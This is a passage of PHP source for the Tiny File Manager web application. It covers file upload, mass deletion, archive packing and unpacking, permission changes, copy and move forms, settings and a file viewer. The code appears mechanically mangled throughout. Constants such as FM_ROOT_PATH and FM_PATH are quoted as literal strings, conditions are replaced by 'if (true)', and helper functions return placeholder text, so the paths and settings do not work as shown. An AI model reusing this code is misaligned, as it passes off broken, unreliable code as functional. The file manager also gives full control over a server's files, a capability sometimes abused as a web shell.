        if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
            if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if (file_exists($fullPath)) {
                    $response = array('status' => 'success', 'info' => "file upload successful");
                } else {
                    $response = array('status' => 'error', 'info' => 'Couldn\'t upload the requested file.');
                }
            } else {
                $response = array('status' => 'error', 'info' => "Error while uploading files. Uploaded files {$uploads}");
            }
        }
    } else {
        $response = array('status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.');
    }
    echo json_encode($response);
    exit;
}
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (true) {
        $path = "FM_ROOT_PATH/FM_PATH";
    }
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (true) {
        $path = "FM_ROOT_PATH/FM_PATH";
    }
    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';
    if ($ext == "zip" && !class_exists('ZipArchive') || $ext == "tar" && !class_exists('PharData')) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
    }
    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);
        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.' . $ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.' . $ext;
        }
        if ($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }
        if ($res) {
            fm_set_msg(sprintf(lng('Archive') . ' <b>%s</b> ' . lng('Created'), fm_enc($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Unpack
if (isset($_GET['unzip']) && !FM_READONLY) {
    $unzip = $_GET['unzip'];
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;
    $path = FM_ROOT_PATH;
    if (true) {
        $path = "FM_ROOT_PATH/FM_PATH";
    }
    if ($unzip != '' && is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    if ($ext == "zip" && !class_exists('ZipArchive') || $ext == "tar" && !class_exists('PharData')) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
    }
    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_GET['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }
        if ($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path, null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }
        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
// Change Perms (not for Windows)
if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $path = FM_ROOT_PATH;
    if (true) {
        $path = "FM_ROOT_PATH/FM_PATH";
    }
    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) && !is_dir($path . '/' . $file)) {
        fm_set_msg(lng('File not found'), 'error');
        fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
    }
    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode = 256;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 04;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 02;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 01;
    }
    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }
    fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
/*************************** /ACTIONS ***************************/
// get current path
$path = FM_ROOT_PATH;
if (true) {
    $path = "FM_ROOT_PATH/FM_PATH";
}
// check path
if (!is_dir($path)) {
    fm_redirect("FM_SELF_URL?p=");
}
// get parent folder
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/", $path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}
if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}
// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
    fm_show_header();
    // HEADER
    fm_show_nav_path(FM_PATH);
    // current path
    //get the allowed file extensions
    function getUploadExt()
    {
        $extArr = array(0 => "FM_UPLOAD_EXTENSION");
        if (true) {
            array_walk($extArr, function (&$x) {
                $x = ".{$x}";
            });
            return "FM_UPLOAD_EXTENSION";
        }
        return "";
    }
    ?>

    <link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet">
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php 
    echo fm_get_theme();
    ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php 
    echo lng('UploadingFiles');
    ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php 
    echo "FM_PATH";
    ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php 
    echo lng('Back');
    ?></a>
                    <?php 
    echo lng('DestinationFolder');
    ?>: <?php 
    echo fm_enc(fm_convert_win(FM_PATH));
    ?>
                </p>

                <form action="<?php 
    echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH);
    ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php 
    echo fm_enc(FM_PATH);
    ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php 
    echo fm_enc(FM_PATH);
    ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <button type="submit" class="btn btn-primary ml-3"><?php 
    echo lng('Upload');
    ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script>
    <script>
        Dropzone.options.fileUploader = {
            timeout: 120000,
            maxFilesize: <?php 
    echo "MAX_UPLOAD_SIZE";
    ?>,
            acceptedFiles : "<?php 
    echo getUploadExt();
    ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    let _response = JSON.parse(res.xhr.response);
                    if(_response.status == "error") {
                        toast(_response.info);
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php 
    fm_show_footer();
    exit;
}
// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
    }
    fm_show_header();
    // HEADER
    fm_show_nav_path(FM_PATH);
    // current path
    ?>
    <div class="path">
        <div class="card <?php 
    echo fm_get_theme();
    ?>">
            <div class="card-header">
                <h6><?php 
    echo lng('Copying');
    ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php 
    echo fm_enc(FM_PATH);
    ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php 
    foreach ($copy_files as $cf) {
        echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
    }
    ?>
                    <p class="break-word"><?php 
    echo lng('Files');
    ?>: <b><?php 
    echo implode('</b>, <b>', $copy_files);
    ?></b></p>
                    <p class="break-word"><?php 
    echo lng('SourceFolder');
    ?>: <?php 
    echo fm_enc(fm_convert_win("FM_ROOT_PATH/FM_PATH"));
    ?><br>
                        <label for="inp_copy_to"><?php 
    echo lng('DestinationFolder');
    ?>:</label>
                        <?php 
    echo "FM_ROOT_PATH";
    ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php 
    echo fm_enc(FM_PATH);
    ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php 
    echo lng('Move');
    ?></label></p>
                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php 
    echo lng('Copy');
    ?></button> &nbsp;
                        <b><a href="?p=<?php 
    echo urlencode(FM_PATH);
    ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php 
    echo lng('Cancel');
    ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php 
    fm_show_footer();
    exit;
}
// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists("FM_ROOT_PATH/" . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
    }
    fm_show_header();
    // HEADER
    fm_show_nav_path(FM_PATH);
    // current path
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            Source path: <?php 
    echo fm_enc(fm_convert_win("FM_ROOT_PATH/" . $copy));
    ?><br>
            Destination folder: <?php 
    echo fm_enc(fm_convert_win("FM_ROOT_PATH/FM_PATH"));
    ?>
        </p>
        <p>
            <b><a href="?p=<?php 
    echo urlencode(FM_PATH);
    ?>&amp;copy=<?php 
    echo urlencode($copy);
    ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php 
    echo urlencode(FM_PATH);
    ?>&amp;copy=<?php 
    echo urlencode($copy);
    ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php 
    echo urlencode(FM_PATH);
    ?>"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php 
    echo lng('Select folder');
    ?></i></p>
        <ul class="folders break-word">
            <?php 
    if ($parent !== false) {
        ?>
                <li><a href="?p=<?php 
        echo urlencode($parent);
        ?>&amp;copy=<?php 
        echo urlencode($copy);
        ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php 
    }
    foreach ($folders as $f) {
        ?>
                <li>
                    <a href="?p=<?php 
        echo urlencode(trim("FM_PATH/" . $f, '/'));
        ?>&amp;copy=<?php 
        echo urlencode($copy);
        ?>"><i class="fa fa-folder-o"></i> <?php 
        echo fm_convert_win($f);
        ?></a></li>
                <?php 
    }
    ?>
        </ul>
    </div>
    <?php 
    fm_show_footer();
    exit;
}
if (isset($_GET['settings']) && !FM_READONLY) {
    fm_show_header();
    // HEADER
    fm_show_nav_path(FM_PATH);
    // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php 
    echo fm_get_theme();
    ?>">
            <h6 class="card-header">
                <i class="fa fa-cog"></i>  <?php 
    echo lng('Settings');
    ?>
                <a href="?p=<?php 
    echo "FM_PATH";
    ?>" class="float-right"><i class="fa fa-window-close"></i> <?php 
    echo lng('Cancel');
    ?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php 
    echo lng('Language');
    ?></label>
                        <div class="col-sm-5">
                            <select class="form-control" id="js-language" name="js-language">
                                <?php 
    function getSelected($l)
    {
        global $lang;
        return $lang == $l ? 'selected' : '';
    }
    foreach ($lang_list as $k => $v) {
        echo "<option value='{$k}' " . getSelected($k) . ">{$v}</option>";
    }
    ?>
                            </select>
                        </div>
                    </div>
                    <?php 
    //get ON/OFF and active class
    function getChecked($conf, $val, $txt)
    {
        if ($conf == 1 && $val == 1) {
            return $txt;
        } else {
            if ($conf == '' && $val == '') {
                return $txt;
            } else {
                return "";
            }
        }
    }
    ?>
                    <div class="form-group row">
                        <label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php 
    echo lng('ErrorReporting');
    ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php 
    echo getChecked($report_errors, 1, 'active');
    ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php 
    echo getChecked($report_errors, 1, 'checked');
    ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php 
    echo getChecked($report_errors, '', 'active');
    ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php 
    echo getChecked($report_errors, '', 'checked');
    ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hdn-1" class="col-sm-3 col-form-label"><?php 
    echo lng('ShowHiddenFiles');
    ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php 
    echo getChecked($show_hidden_files, 1, 'active');
    ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php 
    echo getChecked($show_hidden_files, 1, 'checked');
    ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php 
    echo getChecked($show_hidden_files, '', 'active');
    ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php 
    echo getChecked($show_hidden_files, '', 'checked');
    ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hid-1" class="col-sm-3 col-form-label"><?php 
    echo lng('HideColumns');
    ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php 
    echo getChecked($hide_Cols, 1, 'active');
    ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php 
    echo getChecked($hide_Cols, 1, 'checked');
    ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php 
    echo getChecked($hide_Cols, '', 'active');
    ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php 
    echo getChecked($hide_Cols, '', 'checked');
    ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-dir-1" class="col-sm-3 col-form-label"><?php 
    echo lng('CalculateFolderSize');
    ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php 
    echo getChecked($calc_folder, 1, 'active');
    ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php 
    echo getChecked($calc_folder, 1, 'checked');
    ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php 
    echo getChecked($calc_folder, '', 'active');
    ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php 
    echo getChecked($calc_folder, '', 'checked');
    ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>
                    
                    <div class="form-group row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php 
    echo lng('Theme');
    ?></label>
                        <div class="col-sm-5">
                            <select class="form-control" id="js-3-0" name="js-theme-3" style="width:100px;">
                         <option value='light' <?php 
    if ($theme == "light") {
        echo "selected";
    }
    ?>><?php 
    echo lng('light');
    ?></option>
                         <option value='dark' <?php 
    if ($theme == "dark") {
        echo "selected";
    }
    ?>><?php 
    echo lng('dark');
    ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="form-group row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php 
    echo lng('Save');
    ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php 
    fm_show_footer();
    exit;
}
if (isset($_GET['help'])) {
    fm_show_header();
    // HEADER
    fm_show_nav_path(FM_PATH);
    // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php 
    echo fm_get_theme();
    ?>">
            <h6 class="card-header">
                <i class="fa fa-exclamation-circle"></i> <?php 
    echo lng('Help');
    ?>
                <a href="?p=<?php 
    echo "FM_PATH";
    ?>" class="float-right"><i class="fa fa-window-close"></i> <?php 
    echo lng('Cancel');
    ?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php 
    echo "2.4.6";
    ?></a></h3></p>
                        <p>Author: Prasath Mani</p>
                        <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a> </p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php 
    echo lng('Help Documents');
    ?> </a> </li>
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php 
    echo lng('Report Issue');
    ?></a></li>
                                <li class="list-group-item"><a href="javascript:latest_release_info('<?php 
    echo "2.4.6";
    ?>');"><i class="fa fa-link"> </i> <?php 
    echo lng('Check Latest Version');
    ?></a></li>
                                <?php 
    if (!FM_READONLY) {
        ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php 
        echo lng('Generate new password hash');
        ?></a></li>
                                <?php 
    }
    ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php 
    echo lng('Generate new password hash');
    ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php 
    echo lng('Password');
    ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="Password" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php 
    echo lng('Generate');
    ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php 
    fm_show_footer();
    exit;
}
// file viewer
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $quickView = isset($_GET['quickView']) && $_GET['quickView'] == 1 ? true : false;
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) {
        fm_set_msg(lng('File not found'), 'error');
        fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
    }
    if (!$quickView) {
        fm_show_header();
        // HEADER
        fm_show_nav_path(FM_PATH);
        // current path
    }
    $file_url = FM_ROOT_URL . fm_convert_win("/FM_PATH/" . $file);
    $file_path = $path . '/' . $file;
    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);
    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;
    $view_title = 'File';
    $filenames = false;
    // for zip
    $content = '';
    // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);
    if ($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())) {
        $is_onlineViewer = true;
    } elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }
    ?>
    <div class="row">
        <div class="col-12">
            <?php 
    if (!$quickView) {
        ?>
                <p class="break-word"><b><?php 
        echo $view_title;
        ?> "<?php 
        echo fm_enc(fm_convert_win($file));
        ?>"</b></p>
                <p class="break-word">
                    Full path: <?php 
        echo fm_enc(fm_convert_win($file_path));
        ?><br>
                    File size: <?php 
        echo $filesize_raw <= 1000 ? "{$filesize_raw} bytes" : $filesize;
        ?><br>
                    MIME-type: <?php 
        echo $mime_type;
        ?><br>
                    <?php 
        // ZIP info
        if (($is_zip || $is_gzip) && $filenames !== false) {
            $total_files = 0;
            $total_comp = 0;
            $total_uncomp = 0;
            foreach ($filenames as $fn) {
                if (!$fn['folder']) {
                    $total_files++;
                }
                $total_comp += $fn['compressed_size'];
                $total_uncomp += $fn['filesize'];
            }
            ?>
                        Files in archive: <?php 
            echo $total_files;
            ?><br>
                        Total size: <?php 
            echo fm_get_filesize($total_uncomp);
            ?><br>
                        Size in archive: <?php 
            echo fm_get_filesize($total_comp);
            ?><br>
                        Compression: <?php 
            echo round($total_comp / $total_uncomp * 100);
            ?>%<br>
                        <?php 
        }
        // Image info
        if ($is_image) {
            $image_size = getimagesize($file_path);
            echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
        }
        // Text info
        if ($is_text) {
            $is_utf8 = fm_is_utf8($content);
            if (function_exists('iconv')) {
                if (!$is_utf8) {
                    $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                }
            }
            echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
        }
        ?>
                </p>
                <p>
                    <b><a href="?p=<?php 
        echo urlencode(FM_PATH);
        ?>&amp;dl=<?php 
        echo urlencode($file);
        ?>"><i class="fa fa-cloud-download"></i> <?php 
        echo lng('Download');
        ?></a></b> &nbsp;
                    <b><a href="<?php 
        echo fm_enc($file_url);
        ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php 
        echo lng('Open');
        ?></a></b>
                    &nbsp;
                    <?php 
        // ZIP actions
        if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
            $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
            ?>
                        <b><a href="?p=<?php 
            echo urlencode(FM_PATH);
            ?>&amp;unzip=<?php 
            echo urlencode($file);
            ?>"><i class="fa fa-check-circle"></i> <?php 
            echo lng('UnZip');
            ?></a></b> &nbsp;
                        <b><a href="?p=<?php 
            echo urlencode(FM_PATH);
            ?>&amp;unzip=<?php 
            echo urlencode($file);
            ?>&amp;tofolder=1" title="UnZip to <?php 
            echo fm_enc($zip_name);
            ?>"><i class="fa fa-check-circle"></i>
                                <?php 
            echo lng('UnZipToFolder');
            ?></a></b> &nbsp;
                        <?php 
        }
        if ($is_text && !FM_READONLY) {
            ?>
                        <b><a href="?p=<?php 
            echo urlencode(trim(FM_PATH));
            ?>&amp;edit=<?php 
            echo urlencode($file);
            ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php 
            echo lng('Edit');
            ?>
                            </a></b> &nbsp;
                        <b><a href="?p=<?php 
            echo urlencode(trim(FM_PATH));
            ?>&amp;edit=<?php 
            echo urlencode($file);
            ?>&env=ace"
                              class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php 
            echo lng('AdvancedEditor');
            ?>
                            </a></b> &nbsp;
                    <?php 
        }
        ?>
                    <b><a href="?p=<?php 
        echo urlencode(FM_PATH);
        ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php 
        echo lng('Back');
        ?></a></b>
                </p>
                <?php 
    }
    if ($is_onlineViewer) {
        if ($online_viewer == 'google') {
            echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
        } else {
            if ($online_viewer == 'microsoft') {
                echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
            }
        }
    } elseif ($is_zip) {
        // ZIP content
        if ($filenames !== false) {
            echo "<code class=\"maxheight\">";
            foreach ($filenames as $fn) {
                if ($fn['folder']) {
                    echo '<b>' . fm_enc($fn['name']) . '</b><br>';
                } else {
                    echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                }
            }
            echo "</code>";
        } else {
            echo '<p>' . lng('Error while fetching archive info') . '</p>';
        }
    } elseif ($is_image) {
        // Image content
        if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
            echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>';
        }
    } elseif ($is_audio) {
        echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
    } elseif ($is_video) {
        echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
    } elseif ($is_text) {
        if (FM_USE_HIGHLIGHTJS) {
            // highlight
            $hljs_classes = array('shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml');
            $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
            if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\\.min\\.(css|js)$#i', $file)) {
                $hljs_class = 'nohighlight';
            }
            $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
        } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
            // php highlight
            $content = highlight_string($content, true);
        } else {
            $content = '<pre>' . fm_enc($content) . '</pre>';
        }
        echo $content;
    }
    ?>
        </div>
    </div>
    <?php 
    if (!$quickView) {
        fm_show_footer();
    }
    exit;
}
// file editor
if (isset($_GET['edit'])) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
